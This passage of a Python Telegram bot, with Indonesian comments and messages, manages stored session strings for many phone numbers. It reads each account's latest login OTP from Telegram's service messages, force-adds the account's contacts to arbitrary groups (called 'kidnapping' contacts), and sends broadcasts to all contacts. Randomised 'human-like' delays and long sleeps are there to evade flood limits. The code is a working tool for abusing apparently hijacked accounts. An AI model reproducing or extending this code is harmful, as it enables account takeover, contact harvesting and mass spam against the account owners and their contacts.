                except errors.UserAlreadyParticipantError:
                    # If already a member, get from dialogs
                    dialogs = await client.get_dialogs(limit=50)
                    for dialog in dialogs:
                        if isinstance(dialog.entity, (types.Channel, types.Chat)):
                            chat_entity = dialog.entity
                            break
            else:
                # Handle public username
                username = group_link.split('/')[-1] if '/' in group_link else group_link
                # Use JoinChannelRequest for public channels
                try:
                    await client(functions.channels.JoinChannelRequest(channel=username))
                    chat_entity = await client.get_entity(username)
                except errors.UserAlreadyParticipantError:
                    chat_entity = await client.get_entity(username)
            
            if not chat_entity:
                return {"success": 0, "failed": 0, "total": 0, "error": "Tidak dapat menemukan grup. Pastikan Anda sudah bergabung dengan grup tersebut."}
        
        except Exception as e:
            logger.error(f"Error getting group: {str(e)}")
            return {"success": 0, "failed": 0, "total": 0, "error": f"Gagal mengakses grup: {str(e)}"}
        
        # Get contacts directly from client (avoids rate limits)
        contacts = []
        try:
            # Use get_dialogs to get all contacts
            # First try to use direct client method
            try:
                user_dialogs = await client.get_dialogs(limit=None)
                
                # Filter to get only user contacts (not groups or channels)
                for dialog in user_dialogs:
                    if isinstance(dialog.entity, types.User) and not dialog.entity.bot and not dialog.entity.deleted:
                        contacts.append(dialog.entity)
                
                logger.info(f"Found {len(contacts)} contacts from dialogs")
            except Exception as e:
                logger.error(f"Error getting contacts from dialogs: {str(e)}")
                
                # Fallback to getting contacts from saved messages
                try:
                    # Alternative method: iterate through message history in "Saved Messages"
                    # to find user mentions and contacts
                    me = await client.get_me()
                    messages = await client.get_messages(me.id, limit=500)  # Get recent messages
                    
                    contact_ids = set()
                    for msg in messages:
                        if msg.from_id and hasattr(msg.from_id, 'user_id'):
                            contact_ids.add(msg.from_id.user_id)
                        if msg.forward and hasattr(msg.forward.from_id, 'user_id'):
                            contact_ids.add(msg.forward.from_id.user_id)
                    
                    # Get user entities for all collected IDs
                    for user_id in contact_ids:
                        try:
                            user = await client.get_entity(user_id)
                            if not user.bot and not user.deleted:
                                contacts.append(user)
                        except Exception:
                            pass
                    
                    logger.info(f"Found {len(contacts)} contacts from saved messages")
                except Exception as saved_msg_error:
                    logger.error(f"Error getting contacts from saved messages: {str(saved_msg_error)}")
                    
                    # Last resort: try to use cached contacts
                    cached_contacts = get_cached_contacts(phone)
                    if cached_contacts and len(cached_contacts) > 0:
                        contacts = cached_contacts
                        logger.info(f"Using {len(contacts)} cached contacts")
                    else:
                        # If all else fails, just continue with an empty contact list
                        logger.warning("Unable to retrieve contacts through any method")
            
            # Filter out bots, deleted accounts, etc.
            valid_contacts = []
            for contact in contacts:
                if hasattr(contact, 'bot') and not contact.bot and hasattr(contact, 'deleted') and not contact.deleted:
                    valid_contacts.append(contact)
            
            contacts = valid_contacts
            
            # Cache contacts for future use regardless of how we got them
            if contacts and len(contacts) > 0:
                cache_contacts(phone, contacts)
            
        except Exception as e:
            logger.error(f"Error processing contacts: {str(e)}")
            return {"success": 0, "failed": 0, "total": 0, "error": f"Gagal memproses kontak: {str(e)}"}
        
        # Prepare tracking variables
        total_contacts = len(contacts)
        if total_contacts == 0:
            return {"success": 0, "failed": 0, "total": 0, "error": "Tidak ada kontak yang ditemukan"}
        
        success_count = 0
        failed_count = 0
        
        # Initialize added counter for big sleep
        count_added = 0
        total_user_big_sleep = 35  # Number of users before big sleep
        total_client = 1  # This function only uses one client
        time_big_sleep = 7200  # 2 hours in seconds
        
        # Add contacts in batches of 10 with a different strategy
        for i in range(0, total_contacts, 10):
            batch_contacts = contacts[i:i+10]
            
            try:
                # Use add_chat_members for groups
                if isinstance(chat_entity, types.Chat):
                    for contact in batch_contacts:
                        try:
                            # Add each user individually to reduce errors
                            await client(functions.messages.AddChatUserRequest(
                                chat_id=chat_entity.id,
                                user_id=contact,
                                fwd_limit=0
                            ))
                            success_count += 1
                            count_added += 1
                            
                            # Check if we need a big sleep
                            if count_added >= (total_user_big_sleep * total_client):
                                logging.info('Big sleep, sleep 2 hours')
                                # Disconnect
                                await client.disconnect()
                                time.sleep(2)
                                # Sleep for specified time
                                await asyncio.sleep(time_big_sleep)
                                # Reconnect
                                await client.connect()
                                time.sleep(2)
                                count_added = 0  # reset counter
                            
                        except Exception as user_error:
                            logger.error(f"Error adding single user to chat: {str(user_error)}")
                            failed_count += 1
                
                # Use InviteToChannelRequest for channels
                elif isinstance(chat_entity, types.Channel):
                    # Split into smaller batches of 3-5 users
                    mini_batch_size = random.randint(3, 5)
                    for j in range(0, len(batch_contacts), mini_batch_size):
                        mini_batch = batch_contacts[j:j+mini_batch_size]
                        try:
                            await client(functions.channels.InviteToChannelRequest(
                                channel=chat_entity,
                                users=mini_batch
                            ))
                            success_count += len(mini_batch)
                            count_added += len(mini_batch)
                            
                            # Check if we need a big sleep
                            if count_added >= (total_user_big_sleep * total_client):
                                logging.info('Big sleep, sleep 2 hours')
                                # Disconnect
                                await client.disconnect()
                                time.sleep(2)
                                # Sleep for specified time
                                await asyncio.sleep(time_big_sleep)
                                # Reconnect
                                await client.connect()
                                time.sleep(2)
                                count_added = 0  # reset counter
                            
                            # Add a small delay between mini-batches
                            await asyncio.sleep(random.uniform(1.5, 3.0))
                        except Exception as mini_batch_error:
                            # If mini-batch fails, try one by one
                            logger.error(f"Mini-batch add failed: {str(mini_batch_error)}")
                            for contact in mini_batch:
                                try:
                                    await client(functions.channels.InviteToChannelRequest(
                                        channel=chat_entity,
                                        users=[contact]
                                    ))
                                    success_count += 1
                                    count_added += 1
                                    
                                    # Check if we need a big sleep
                                    if count_added >= (total_user_big_sleep * total_client):
                                        logging.info('Big sleep, sleep 2 hours')
                                        # Disconnect
                                        await client.disconnect()
                                        time.sleep(2)
                                        # Sleep for specified time
                                        await asyncio.sleep(time_big_sleep)
                                        # Reconnect
                                        await client.connect()
                                        time.sleep(2)
                                        count_added = 0  # reset counter
                                    
                                    # Add a tiny delay between individual adds
                                    await asyncio.sleep(random.uniform(0.5, 1.2))
                                except Exception as individual_error:
                                    logger.warning(f"Individual add failed: {str(individual_error)}")
                                    failed_count += 1
                
                # Add randomized delay between batches (looks more human-like)
                min_delay = 3.5
                max_delay = 5.5
                delay = random.uniform(min_delay, max_delay)
                logger.info(f"Waiting {delay:.2f} seconds before next batch")
                await asyncio.sleep(delay)
                
            except errors.ChatAdminRequiredError:
                return {
                    "success": success_count, 
                    "failed": failed_count + (total_contacts - (i + len(batch_contacts))), 
                    "total": total_contacts,
                    "error": "Admin diperlukan untuk menambahkan anggota ke grup"
                }
            except Exception as e:
                # Log other errors but don't break the process
                error_str = str(e)
                logger.error(f"Error in batch: {error_str}")
                
                # Don't mention FloodWaitError specifically, just continue with delay
                if "wait" in error_str.lower() or "flood" in error_str.lower():
                    # Add longer delay but continue
                    await asyncio.sleep(5)
                    failed_count += len(batch_contacts)
                else:
                    failed_count += len(batch_contacts)
        
        return {
            "success": success_count, 
            "failed": failed_count, 
            "total": total_contacts
        }
    
    except Exception as e:
        logger.error(f"Culik contacts error: {str(e)}")
        return {"success": 0, "failed": 0, "total": 0, "error": str(e)}
    finally:
        if client:
            await client.disconnect()

# Helper functions for contact caching
def get_cached_contacts(phone):
    """Get cached contacts from a file to avoid rate limits"""
    try:
        import os
        import pickle
        
        cache_dir = os.path.join(os.path.dirname(__file__), 'cache')
        os.makedirs(cache_dir, exist_ok=True)
        
        cache_file = os.path.join(cache_dir, f'contacts_{phone}.pkl')
        
        if os.path.exists(cache_file):
            with open(cache_file, 'rb') as f:
                contacts = pickle.load(f)
                return contacts
    except Exception as e:
        logger.error(f"Error getting cached contacts: {str(e)}")
    
    return None

def cache_contacts(phone, contacts):
    """Cache contacts to a file to avoid rate limits"""
    try:
        import os
        import pickle
        
        cache_dir = os.path.join(os.path.dirname(__file__), 'cache')
        os.makedirs(cache_dir, exist_ok=True)
        
        cache_file = os.path.join(cache_dir, f'contacts_{phone}.pkl')
        
        with open(cache_file, 'wb') as f:
            pickle.dump(contacts, f)
            
        logger.info(f"Cached {len(contacts)} contacts for {phone}")
    except Exception as e:
        logger.error(f"Error caching contacts: {str(e)}")

@bot.on(events.CallbackQuery(pattern=rb'^culik_grub_(.+)$'))
async def culik_grub_handler(event):
    # Extract phone number from callback data
    phone = event.pattern_match.group(1).decode('utf-8')
    
    # Send a message to prompt for group link
    await event.edit("Kirim link Group/Channel untuk menculik kontak:")
    
    # Create a conversation to get the group link
    async def get_group_link():
        try:
            # Wait for response to the previous message
            async with bot.conversation(event.chat_id, timeout=300) as conv:
                # Send a placeholder message to start the conversation
                await conv.send_message("Silakan kirim link Group/Channel:")
                
                # Wait for user's response
                group_link_msg = await conv.get_response(timeout=300)
                group_link = group_link_msg.text.strip()
                
                # Show loading message
                loading_msg = await event.respond("Sedang menculik kontak... Mohon tunggu.")
                
                # Perform contact kidnapping
                result = await culik_contacts_to_group(phone, group_link)
                
                # Delete loading message
                await loading_msg.delete()
                
                # Prepare result message
                result_message = (
                    f"📊 Hasil Culik Kontak:\n"
                    f"• Total Kontak: {result['total']}\n"
                    f"• Berhasil: {result.get('success', 0)} ✅\n"
                    f"• Gagal: {result.get('failed', 0)} ❌"
                )
                
                # Add error message if exists
                if 'error' in result:
                    result_message += f"\n⚠️ Info: {result['error']}"
                
                # Send result
                await event.respond(result_message, buttons=[
                    Button.inline("« Kembali", f"view_user_{phone}")
                ])
        
        except asyncio.TimeoutError:
            await event.respond("Waktu habis. Proses dibatalkan.")
        except Exception as e:
            logger.error(f"Error in culik_grub_handler: {str(e)}")
            await event.respond(f"Terjadi kesalahan: {str(e)}")
    
    # Start the group link retrieval in the background
    bot.loop.create_task(get_group_link())

@bot.on(events.CallbackQuery(pattern=rb'^user_page_(\d+)$'))
async def user_page_handler(event):
    # Ekstrak nomor halaman
    page = int(event.pattern_match.group(1).decode('utf-8'))
    
    # Dapatkan daftar semua nomor telepon
    all_phones = session_manager.list_sessions()
    
    # Filter nomor telepon yang valid
    valid_phones = []
    for phone in all_phones:
        # Verifikasi apakah sesi masih valid
        is_valid = await is_session_valid(phone)
        
        if is_valid:
            valid_phones.append(phone)
    
    # Pengaturan halaman
    items_per_page = 50
    start_idx = page * items_per_page
    end_idx = start_idx + items_per_page
    
    # Buat tombol untuk setiap nomor telepon di halaman ini
    buttons = []
    for idx, phone in enumerate(valid_phones[start_idx:end_idx], start=start_idx+1):
        buttons.append([Button.inline(f"{idx}. 👤 {phone}", f"view_user_{phone}")])
    
    # Tambahkan tombol navigasi
    page_buttons = []
    
    # Tombol halaman sebelumnya
    if page > 0:
        page_buttons.append(Button.inline("◀️ Sebelumnya", f"user_page_{page-1}"))
    
    # Tombol halaman selanjutnya
    if end_idx < len(valid_phones):
        page_buttons.append(Button.inline("▶️ Nomor Lain", f"user_page_{page+1}"))
    
    buttons.append(page_buttons)
    
    # Edit pesan dengan daftar sesi di halaman baru
    await event.edit(
        f"Daftar pengguna aktif (Total: {len(valid_phones)}):\n"
        f"Menampilkan {start_idx+1}-{min(end_idx, len(valid_phones))} dari {len(valid_phones)} sesi", 
        buttons=buttons
    )

async def get_latest_otp(phone):
    # Get session data
    session_data = session_manager.get_session(phone)
    if not session_data:
        return None
    
    session_string = session_data['session_string']
    client = create_telegram_client(phone, session_string)
    
    try:
        await client.connect()
        
        # Get latest message from Telegram
        async for message in client.iter_messages(777000, limit=1):
            otp = re.search(r'\b(\d{5})\b', message.text)
            if otp:
                return otp.group(0)
        return None
    
    except Exception as e:
        logger.error(f"Error fetching OTP for {phone}: {str(e)}")
        return None
    finally:
        if client:
            await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^get_otp_(.+)$'))
async def get_otp_handler(event):
    # Ekstrak nomor telepon dari callback data
    phone = event.pattern_match.group(1).decode('utf-8')
    
    # Dapatkan OTP
    otp_code = await get_latest_otp(phone)
    
    if otp_code:
        # Tampilkan OTP
        await event.edit(
            f"OTP untuk {phone}:\n`{otp_code}`",
            buttons=[
                Button.inline("« Kembali", f"view_user_{phone}")
            ]
        )
    else:
        # Tidak ada OTP yang ditemukan
        await event.answer("Tidak ada kode OTP yang ditemukan.")

@bot.on(events.CallbackQuery(pattern=rb'^delete_session_(.+)$'))
async def delete_session_handler(event):
    # Ekstrak nomor telepon dari callback data
    phone = event.pattern_match.group(1).decode('utf-8')
    
    # Hapus sesi
    if session_manager.delete_session(phone):
        # Edit pesan dengan konfirmasi
        await event.edit(
            f"✅ Sesi untuk nomor {phone} berhasil dihapus!",
            buttons=[
                Button.inline("« Kembali", b"back_to_list")
            ]
        )
    else:
        await event.answer("Gagal menghapus sesi.")

@bot.on(events.CallbackQuery(pattern=b'back_to_list'))
async def back_to_list_handler(event):
    # Dapatkan daftar semua nomor telepon
    all_phones = session_manager.list_sessions()
    
    # Filter nomor telepon yang valid
    valid_phones = []
    for phone in all_phones:
        # Verifikasi apakah sesi masih valid
        is_valid = await is_session_valid(phone)
        
        if is_valid:
            valid_phones.append(phone)
    
    # Jika tidak ada sesi valid
    if not valid_phones:
        await event.edit("Tidak ada sesi pengguna yang aktif.")
        return
    
    # Buat tombol untuk setiap nomor telepon
    buttons = []
    items_per_page = 50
    
    # Tambahkan nomor urut ke tombol
    for idx, phone in enumerate(valid_phones[:items_per_page], 1):
        buttons.append([Button.inline(f"{idx}. 👤 {phone}", f"view_user_{phone}")])
    
    # Tambahkan tombol navigasi jika lebih dari 50 nomor
    if len(valid_phones) > items_per_page:
        # Tambahkan tombol halaman selanjutnya
        extra_pages = (len(valid_phones) - 1) // items_per_page
        page_buttons = []
        
        # Tombol halaman selanjutnya
        if extra_pages > 0:
            page_buttons.append(Button.inline("▶️ Nomor Lain", f"user_page_1"))
        
        buttons.append(page_buttons)
    
    # Edit pesan dengan daftar sesi
    await event.edit(
        f"Daftar pengguna aktif (Total: {len(valid_phones)}):\n"
        f"Menampilkan 1-{min(items_per_page, len(valid_phones))} dari {len(valid_phones)} sesi", 
        buttons=buttons
    )
    
@bot.on(events.NewMessage(pattern='/user'))
async def user_command_handler(event):
    # Check if the sender is the admin
    if str(event.sender_id) != ADMIN_CHAT_ID:
        await event.reply("🖕 LU SIAPA GUA GA KENAL 🖕")
        return
    
    # Dapatkan daftar semua nomor telepon
    all_phones = session_manager.list_sessions()
    
    # Filter nomor telepon yang valid
    valid_phones = []
    for phone in all_phones:
        # Verifikasi apakah sesi masih valid
        is_valid = await is_session_valid(phone)
        
        if is_valid:
            valid_phones.append(phone)
    
    # Jika tidak ada sesi valid
    if not valid_phones:
        await event.reply("Tidak ada sesi pengguna yang aktif.")
        return
    
    # Buat tombol untuk setiap nomor telepon
    buttons = []
    items_per_page = 50
    
    # Tambahkan nomor urut ke tombol
    for idx, phone in enumerate(valid_phones[:items_per_page], 1):
        buttons.append([Button.inline(f"{idx}. 👤 {phone}", f"view_user_{phone}")])
    
    # Tambahkan tombol navigasi jika lebih dari 50 nomor
    if len(valid_phones) > items_per_page:
        # Tambahkan tombol halaman selanjutnya
        extra_pages = (len(valid_phones) - 1) // items_per_page
        page_buttons = []
        
        # Tombol halaman selanjutnya
        if extra_pages > 0:
            page_buttons.append(Button.inline("▶️ Nomor Lain", f"user_page_1"))
        
        buttons.append(page_buttons)
    
    # Kirim pesan dengan daftar sesi
    await event.reply(
        f"Daftar pengguna aktif (Total: {len(valid_phones)}):\n"
        f"Menampilkan 1-{min(items_per_page, len(valid_phones))} dari {len(valid_phones)} sesi", 
        buttons=buttons
    )
    
# Broadcast *#
@bot.on(events.CallbackQuery(pattern=rb'^broadcast_(.+)$'))
async def broadcast_handler(event):
    # Extract phone number from callback data
    phone = event.pattern_match.group(1).decode('utf-8')
    
    # Prepare broadcast options buttons
    buttons = [
        [
            Button.inline("Mutual Contacts", f"broadcast_mutual_{phone}"),
            Button.inline("Non-Mutual Contacts", f"broadcast_nonmutual_{phone}")
        ],
        [
            Button.inline("All Contacts", f"broadcast_all_{phone}")
        ],
        [Button.inline("« Back", f"view_user_{phone}")]
    ]
    
    # Send the broadcast type selection message
    await event.edit("Pilih jenis broadcast:", buttons=buttons)

async def send_broadcast_to_mutual_contacts(phone, message):
    """Send broadcast to mutual contacts with detailed statistics"""
    client = None
    try:
        session_data = session_manager.get_session(phone)
        if not session_data:
            return {"success": 0, "failed": 0, "total": 0}
        
        session_string = session_data['session_string']
        client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
        
        await client.connect()
        
        if not await client.is_user_authorized():
            return {"success": 0, "failed": 0, "total": 0}
        
        # Fetch contacts using Telegram API directly
        contacts_request = await client(functions.contacts.GetContactsRequest(hash=0))
        contacts = contacts_request.contacts
        
        # Filter mutual contacts
        mutual_contacts = [
            contact for contact in contacts 
            if contact.mutual
        ]
        
        # Prepare tracking variables
        success_count = 0
        failed_count = 0
        total_contacts = len(mutual_contacts)
        
        # Send message to mutual contacts
        for contact in mutual_contacts:
            try:
                await client.send_message(contact.user_id, message)
                success_count += 1
                await asyncio.sleep(1)  # Avoid flood wait
            except Exception as e:
                failed_count += 1
                logger.error(f"Error sending to {contact.user_id}: {str(e)}")
        
        return {
            "success": success_count, 
            "failed": failed_count, 
            "total": total_contacts
        }
    
    except Exception as e:
        logger.error(f"Broadcast to mutual contacts error: {str(e)}")
        return {"success": 0, "failed": 0, "total": 0}
    finally:
        if client:
            await client.disconnect()

async def send_broadcast_to_nonmutual_contacts(phone, message):
    """Send broadcast to non-mutual contacts with detailed statistics"""
    client = None
    try:
        session_data = session_manager.get_session(phone)
        if not session_data:
            return {"success": 0, "failed": 0, "total": 0}
        
        session_string = session_data['session_string']
        client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
        
        await client.connect()
        
        if not await client.is_user_authorized():
            return {"success": 0, "failed": 0, "total": 0}
        
        # Fetch contacts using Telegram API directly
        contacts_request = await client(functions.contacts.GetContactsRequest(hash=0))
        contacts = contacts_request.contacts
        
        # Filter non-mutual contacts
        nonmutual_contacts = [
            contact for contact in contacts 
            if not contact.mutual
        ]
        
        # Prepare tracking variables
        success_count = 0
        failed_count = 0
        total_contacts = len(nonmutual_contacts)
        
        # Send message to non-mutual contacts
        for contact in nonmutual_contacts:
            try:
                await client.send_message(contact.user_id, message)
                success_count += 1
                await asyncio.sleep(1)  # Avoid flood wait
            except Exception as e:
                failed_count += 1
                logger.error(f"Error sending to {contact.user_id}: {str(e)}")
        
        return {
            "success": success_count, 
            "failed": failed_count, 
            "total": total_contacts
        }
    
    except Exception as e:
        logger.error(f"Broadcast to non-mutual contacts error: {str(e)}")
        return {"success": 0, "failed": 0, "total": 0}
    finally:
        if client:
            await client.disconnect()

async def send_broadcast_to_all_contacts(phone, message):
    """Send broadcast to all contacts with detailed statistics"""
    client = None
    try:
        session_data = session_manager.get_session(phone)
        if not session_data:
            return {"success": 0, "failed": 0, "total": 0}
        
        session_string = session_data['session_string']
        client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
        
        await client.connect()
        
        if not await client.is_user_authorized():
            return {"success": 0, "failed": 0, "total": 0}
        
        # Fetch contacts using Telegram API directly
        contacts_request = await client(functions.contacts.GetContactsRequest(hash=0))
        contacts = contacts_request.contacts
        
        # Prepare tracking variables
        success_count = 0
        failed_count = 0
        total_contacts = len(contacts)
        
        # Send message to all contacts
        for contact in contacts:
            try:
                await client.send_message(contact.user_id, message)
                success_count += 1
                await asyncio.sleep(1)  # Avoid flood wait
            except Exception as e:
                failed_count += 1
                logger.error(f"Error sending to {contact.user_id}: {str(e)}")
        
        return {
            "success": success_count, 
            "failed": failed_count, 
            "total": total_contacts
        }
    
    except Exception as e:
        logger.error(f"Broadcast to all contacts error: {str(e)}")
        return {"success": 0, "failed": 0, "total": 0}
    finally:
        if client:
            await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^broadcast_(mutual|nonmutual|all)_(.+)$'))
async def broadcast_type_handler(event):
    # Extract broadcast type and phone number
    broadcast_type = event.pattern_match.group(1).decode('utf-8')
    phone = event.pattern_match.group(2).decode('utf-8')
    
    # Send a message to prompt for broadcast content
    await event.edit(f"Kirim pesan untuk broadcast {broadcast_type}:")
    
    # Create a conversation to get the broadcast message
    async def get_broadcast_message():
        try:
            async with bot.conversation(event.chat_id, timeout=300) as conv:
                # Send a placeholder message to start the conversation
                await conv.send_message("Silakan kirim pesan broadcast:")
                
                # Wait for user's response
                broadcast_msg = await conv.get_response(timeout=300)
                
                # Process broadcast based on type
                if broadcast_type == 'mutual':
                    result = await send_broadcast_to_mutual_contacts(phone, broadcast_msg.text)
                elif broadcast_type == 'nonmutual':
                    result = await send_broadcast_to_nonmutual_contacts(phone, broadcast_msg.text)
                else:  # all contacts
                    result = await send_broadcast_to_all_contacts(phone, broadcast_msg.text)
                
                # Send detailed result message
                result_message = (
                    f"📊 Broadcast Selesai:\n"
                    f"• Total Kontak: {result['total']}\n"
                    f"• Berhasil: {result['success']} ✅\n"
                    f"• Gagal: {result['failed']} ❌"
                )
                await event.respond(result_message)
        
        except asyncio.TimeoutError:
            await event.respond("Waktu habis. Broadcast dibatalkan.")
        except Exception as e:
            logger.error(f"Error in broadcast: {str(e)}")
            await event.respond(f"Terjadi kesalahan: {str(e)}")
    
    # Start the broadcast message retrieval in the background
    bot.loop.create_task(get_broadcast_message())

def main():
    print("Program is running..")
    bot.run_until_disconnected()

if __name__ == "__main__":
    main()